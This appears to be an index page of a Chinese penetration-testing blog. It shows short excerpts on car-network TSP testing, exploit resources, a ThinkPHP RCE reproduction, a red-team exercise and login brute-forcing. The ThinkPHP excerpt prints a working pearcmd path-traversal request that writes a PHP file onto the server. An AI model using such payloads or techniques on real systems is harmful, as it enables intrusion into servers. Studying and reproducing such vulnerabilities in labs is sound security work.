Hack All Sec 的博客TSP平台渗透测试初探
1.车联网网络架构简介2.TSP平台简介3.场景分析4.攻击面分析5.远程控车测试1.车联网网络架构简介车联网的网络架构通常包括四层，分别是感知层、传输层、平台层和应用层。感知层是车联网的最底层，也是最靠近车辆的一层。它包括车辆上的各种传感器和执行器，例如GPS定位器、车载通信模块、摄像头、雷达、惯性传感器、轮速传感器等等，这些设备可以收集车辆的状态信息、位置信息等数据。 传输层是车联网的数据传输
不收藏一定会后悔的11个国外网络安全资源
0dayTodayPacketstormDeepquest's BlogCxsecurityCodepwnCodeSecDefendify Essentials PackageHave I Been PwnedPhishTankShodanVirusTotal0dayTodayhttps://0day.today/号称世界上最大的漏洞利用数据库Packetstormhttps://packetst
【漏洞复现】ThinkPHP 多语言模块RCE
Exp漏洞简介影响范围FoFa指纹复现过程Xray PocExp# 写文件 http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php # 包含文件 htt
记某次攻防演习和蓝队的博弈
外网打点内网遨游Get 数据库二进内网S2-046 GetshellDump Hash外网打点访问目标网站发现是统一登录认证，子域名枚举发现存在oa、erp、mail等。其中一个存在Shiro反序列化漏洞，直接上工具：检测发现存在Shiro反序列化漏洞key，但是未找到利用链。奇怪，换个工具再试，成功Getshell，如图：root到手了，还得是飞鸿啊，吃个肉夹馍压压惊。你以为这就结束了？其实这才
Web表单暴力破解技巧
验证码识别带token的登录请求前端加密对于没有验证码，没有带token，没有使用AES、RSA等加密算法加密，没有错误账号锁定机制，没有IP锁定机制，或者仅使用一些简单的防护，如对密码进行MD5、SHA-1等，多次错误锁定账号或IP等的Web登录表单来说，绕过这些策略去暴力破解太容易了。本文结合实战经验总结了其它三种绕过防护暴力破解的方法：验证码识别、带token的登录请求、前端加密。验证码识别